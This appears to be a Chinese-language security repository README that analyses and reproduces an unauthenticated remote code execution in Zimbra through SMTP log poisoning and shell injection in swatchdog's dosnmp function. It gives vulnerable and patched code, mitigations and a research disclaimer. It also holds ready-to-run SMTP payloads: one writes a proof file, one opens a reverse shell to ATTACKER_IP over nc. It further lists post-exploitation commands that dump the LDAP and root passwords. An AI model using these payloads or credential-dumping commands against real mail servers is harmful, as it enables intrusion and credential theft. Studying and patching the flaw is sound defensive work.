注意: 本仓库包含对 CVE-2026-73570 的独立技术分析和 PoC 复现。并非原始漏洞报告。
Zimbra 协作套件 RCE — SMTP 日志投毒 → swatchdog → 操作系统命令注入(CVSS 8.9,CISA KEV)
类型: 操作系统命令注入 → 未认证 RCE
攻击向量: SMTP 日志投毒 → swatchdog → dosnmp 字符串形式 shell 展开
受影响版本: Zimbra 协作套件 10.x(< 10.1.20)
CVSS: 8.9(严重)
CISA KEV: 是 — 已确认存在活跃利用(截至 2026 年 8 月约 270 个被入侵实例)
补丁: Zimbra 10.1.20(发布于 2026-07-20)
该漏洞位于 /opt/zimbra/conf/swatchrc.in 中的 dosnmp 函数内,该函数负责在 Zimbra 服务状态变更时发送 SNMP trap 通知。
存在漏洞的代码(Zimbra 10.1.1–10.1.19)— 字符串形式 system() 调用:
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
# STRING-form: /bin/sh -c "...". $args{SERVICE} expands in the shell without sanitization.
system("$snmptrap $snmpsvcname s $args{SERVICE} $snmpsvcstatus i $statuses{$args{STATUS}}");
}
修复后的代码(Zimbra 10.1.20)— 列表形式 system(),不调用 shell:
sub dosnmp {
my %args = (@_);
print "SNMP notification: $args{MESSAGE}\n";
# LIST-form: exec() directly, shell never invoked.
system("/opt/zimbra/common/bin/snmptrap", "-v", "2c", "-c", "zimbra",
$traphost, "", $snmpsvctrap, $snmpsvcname, "s",
$args{SERVICE}, $snmpsvcstatus, "i", $statuses{$args{STATUS}});
}
修复仅需一行改动:向 system() 传递列表而非字符串,即可完全绕过 shell 解释。
---
利用链
攻击者(Kali)
│
│ SMTP RCPT TO:
│ <"x: Service status change: localhost $(cmd) changed from stopped to running"@target>
▼
Postfix/smtpd(Zimbra 服务器,端口 25)
│ 接受 RCPT TO 并将其记录到 /var/log/zimbra.log
▼
swatchdog(zimbra 进程,监视 /var/log/zimbra.log)
│ 模式:/: Service status change: (\S+) (.*) changed from stopped to running/
│ 捕获:$1 = "localhost",$2 = "$(cmd)"
│ 调用:donotify(SERVICE="$(cmd)", ...)
▼
dosnmp → system("$snmptrap ... s $(cmd) ...")
│ /bin/sh -c 展开 $(cmd) → 执行命令
▼
以 "zimbra" 用户身份执行 RCE(uid=998,gid=999)
关键洞察:Postfix 会原样接受并记录带引号本地部分的 RCPT TO — 这是可靠的日志投毒向量。
---
概念验证
基础 PoC — 写入文件
nc <target> 25
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(id>/tmp/pwned_rce) changed from stopped to running"@target.com>
DATA
.
QUIT
结果:/tmp/pwned_rce 包含 uid=998(zimbra) gid=999(zimbra)
反弹 Shell
nc -lvnp 4444
nc <target> 25 <<EOF
EHLO attacker.com
MAIL FROM:<[email protected]>
RCPT TO:<"x: Service status change: localhost $(rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f) changed from stopped to running"@target.com>
DATA
.
QUIT
EOF
---
实验环境搭建
环境要求
- VirtualBox、Ubuntu Server 22.04 LTS、Zimbra 10.1.0
网络
攻击者(Kali): 10.0.2.15
受害者(Ubuntu): 10.0.2.22 (mail.lab.local)
VirtualBox NAT 网络:10.0.2.0/24
复现漏洞条件
cp /opt/zimbra/conf/swatchrc.in /opt/zimbra/conf/swatchrc.in.bak
vi /opt/zimbra/conf/swatchrc.in # 应用字符串形式 system() 调用
PERL5LIB=/opt/zimbra/common/lib/perl5 \
/opt/zimbra/common/bin/swatchdog \
-c /opt/zimbra/conf/swatchrc \
-t /var/log/zimbra.log &
---
后渗透利用
/opt/zimbra/bin/zmlocalconfig -s zimbra_ldap_password
/opt/zimbra/bin/zmlocalconfig -s ldap_root_password
---
缓解措施
- 补丁:升级至 Zimbra 10.1.20 或更高版本。
- 临时解决方案:zmlocalconfig -e snmp_notify=no && zmconfigdctl restart
---
参考资料
- NVD — CVE-2026-73570 (https://nvd.nist.gov/vuln/detail/CVE-2026-73570)
- CISA KEV 目录 (https://www.cisa.gov/known-exploited-vulnerabilities-catalog)
- Zimbra 安全公告 (https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories)
---
免责声明
本仓库仅供教育和授权安全研究之用。
请勿将其用于您不拥有或未经明确书面许可进行测试的系统。